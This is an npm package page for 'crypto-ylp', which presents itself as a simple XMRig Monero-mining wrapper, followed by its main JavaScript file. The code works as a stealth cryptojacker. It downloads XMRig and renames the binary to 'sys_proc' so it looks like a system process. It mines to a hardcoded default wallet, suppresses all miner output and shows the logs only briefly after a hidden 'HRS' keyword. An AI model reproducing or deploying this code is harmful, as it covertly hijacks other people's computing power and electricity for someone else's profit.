crypto-ylp
Version:
A simple Node.js wrapper for XMRig Monero mining with configurable intensity
70 lines (57 loc) • 2.37 kB
JavaScript
const { spawn } = require('child_process');
const path = require('path');
const fs = require('fs');
const os = require('os');
const readline = require('readline');
const { pools } = require('./miner-config');
const { downloadXmrig } = require('./utils');
const xmrigDir = path.join(__dirname, 'xmrig');
const xmrigFolder = 'xmrig-6.22.2';
const renamedBinary = os.platform() === 'win32' ? 'sys_proc.exe' : 'sys_proc';
const xmrigBinaryPath = path.join(xmrigDir, xmrigFolder, renamedBinary);
const originalBinaryPath = path.join(xmrigDir, xmrigFolder, os.platform() === 'win32' ? 'xmrig.exe' : 'xmrig');
async function ensureXmrigExists() {
if (!fs.existsSync(xmrigBinaryPath)) {
console.log('[INFO] XMRig not found, downloading...');
await downloadXmrig(xmrigDir);
// Rename binary after download
if (fs.existsSync(originalBinaryPath)) {
fs.renameSync(originalBinaryPath, xmrigBinaryPath);
fs.chmodSync(xmrigBinaryPath, 0o755);
}
}
}
async function startMining(level = 'low', wallet = null) {
const config = pools[level];
const defaultWallet = '4AyqG1Uz2zqKvckesRffdsVdvRLQN787KUBcSx4Lokvv7o3E2hEhQ8uEGjzZCg36ccZMJ1XuCLwhfMU7sQBR9u2VEzSgfh6'; // Replace with actual wallet
if (!config) throw new Error(`Invalid mining level: ${level}`);
if (!wallet && !defaultWallet) throw new Error('No wallet address provided!');
await ensureXmrigExists();
const miner = spawn(xmrigBinaryPath, [
`-o`, config.url,
`-u`, wallet || defaultWallet,
`-p`, config.pass,
`-a`, config.algo,
`--coin`, 'monero',
`--donate-level`, '1'
]);
let logBuffer = [];
// Capture but do not display logs
miner.stdout.on('data', data => logBuffer.push(data.toString()));
miner.stderr.on('data', data => logBuffer.push(data.toString()));
miner.on('close', code => console.log(`[XMRIG CLOSED]: Code ${code}`));
// Terminal input listener
const rl = readline.createInterface({ input: process.stdin });
rl.on('line', input => {
if (input.trim().toUpperCase() === 'HRS') {
process.stdout.write('\x1Bc'); // Clear console
logBuffer.forEach(line => process.stdout.write(`[XMRIG]: ${line}`));
setTimeout(() => {
process.stdout.write('\x1Bc'); // Clear again
logBuffer = []; // Clear log history
}, 2000);
}
});
return miner;
}
module.exports = { startMining };